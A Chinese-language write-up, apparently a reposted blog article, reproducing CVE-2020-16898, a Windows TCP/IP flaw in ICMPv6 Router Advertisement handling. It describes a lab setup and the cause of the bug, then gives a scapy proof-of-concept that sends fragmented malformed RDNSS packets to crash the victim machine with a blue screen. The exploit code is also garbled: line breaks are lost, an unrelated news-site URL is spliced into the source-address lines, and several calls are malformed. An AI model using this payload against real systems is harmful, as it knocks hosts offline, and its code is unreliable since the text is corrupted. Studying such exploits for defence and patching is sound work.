CVE-2020-16898 Windows tcp/ip远程代码执行漏洞复现

声明
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失 , 均由使用者本人负责 , 雷神众测以及文章作者不为此承担任何责任 。
【CVE-2020-16898 Windows tcp/ip远程代码执行漏洞复现】雷神众测拥有对此文章的修改和解释权 。 如欲转载或传播此文章 , 必须保证此文章的完整性 , 包括版权声明等全部内容 。 未经雷神众测允许 , 不得任意修改或者增减此文章内容 , 不得以任何方式将其用于商业目的 。
No.1 环境搭建
攻击机:windows 10
(python版本:3.7 , 安装了scapy依赖)
受害机环境:windows10 1909
CVE-2020-16898 Windows tcp/ip远程代码执行漏洞复现文章插图
受害机网络开启ipv6支持
CVE-2020-16898 Windows tcp/ip远程代码执行漏洞复现文章插图
打开cmd输入ipconfig查看受害机ipv6地址为
fd15:4ba5:5a2b:1008:8c9a:8a2b:4489:74aa
CVE-2020-16898 Windows tcp/ip远程代码执行漏洞复现文章插图
攻击机的ipv6地址为
fe80::9835:b7ba:c813:5f6a%10
CVE-2020-16898 Windows tcp/ip远程代码执行漏洞复现文章插图
注意:受害机选用的ipv6地址为ipv6地址或临时ipv6地址 , 攻击机选用的ipv6地址为本地链接ipv6地址 , 攻击机与受害机网络要畅通!!
No.2 漏洞分析
2.1 漏洞背景
2020年10月14日 , 某监测发现 Microsoft 发布了 TCP/IP远程代码执行漏洞的风险通告 , 该漏洞是由于Windows TCP/IP堆栈在处理IMCPv6 Router Advertisement(路由通告)数据包时存在漏洞 , 远程攻击者通过构造特制的ICMPv6 Router Advertisement(路由通告)数据包, 并将其发送到远程Windows主机上 , 可造成远程BSOD , 漏洞编号为CVE-2020-16898 。
2.2 漏洞成因
根据rfc5006 描述 , RDNSS包的length应为奇数 , 而当攻击者构造的RDNSS包的Length为偶数时 , Windows TCP/IP 在检查包过程中会根据Length来获取每个包的偏移 , 遍历解析 , 导致对 Addresses of IPv6 Recursive DNS Servers 和下一个 RDNSS 选项的边界解析错误 , 从而绕过验证 , 将攻击者伪造的option包进行解析 , 造成栈溢出 , 从而导致系统崩溃 。
2.3漏洞利用
payload:
from scapy.all import *from scapy.layers.inet6 import ICMPv6NDOptEFA, ICMPv6NDOptRDNSS, ICMPv6ND_RA, IPv6, IPv6ExtHdrFragment, fragment6v6_dst = "fd15:4ba5:5a2b:1008:109f:9a46:8d19:f103"v6_src = "http://kandian.youth.cn/index/fe80::501a:49b7:b7d:5362%12"p_test_half = 'A'.encode*8 + b"\x18\x30" + b"\xFF\x18"p_test = p_test_half + 'A'.encode*4c = ICMPv6NDOptEFAe = ICMPv6NDOptRDNSSe.len = 21e.dns = ["AAAA:AAAA:AAAA:AAAA:FFFF:AAAA:AAAA:AAAA","AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA","AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA","AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA","AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA","AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA","AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA","AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA","AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA","AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA" ]aaa = ICMPv6NDOptRDNSSaaa.len = 8pkt = ICMPv6ND_RA / aaa / \ Raw(load='A'.encode*16*2 + p_test_half + b"\x18\xa0"*6) / c / e / c / e / c / e / c / e / c / e / e / e / e / e / e / ep_test_frag = IPv6(dst=v6_dst, src=http://kandian.youth.cn/index/v6_src, hlim=255)/ / IPv6ExtHdrFragment/pktl=fragment6(p_test_frag, 200)for p in l: send(p)这段payload作用是构造特定ipv6数据包 , 发送给受害者机器 , 让受害机器蓝屏 。 执行脚本
CVE-2020-16898 Windows tcp/ip远程代码执行漏洞复现文章插图
受害机蓝屏了
CVE-2020-16898 Windows tcp/ip远程代码执行漏洞复现文章插图
同时wireshark进行抓包 , 这些都是攻击机发送的数据
CVE-2020-16898 Windows tcp/ip远程代码执行漏洞复现文章插图
检测漏洞脚本地址:
参考链接:
?id=771d8ddc2d703071d5761b6a2b139793
▼稿件合作 15558192959
小E微信号:Eanquan0914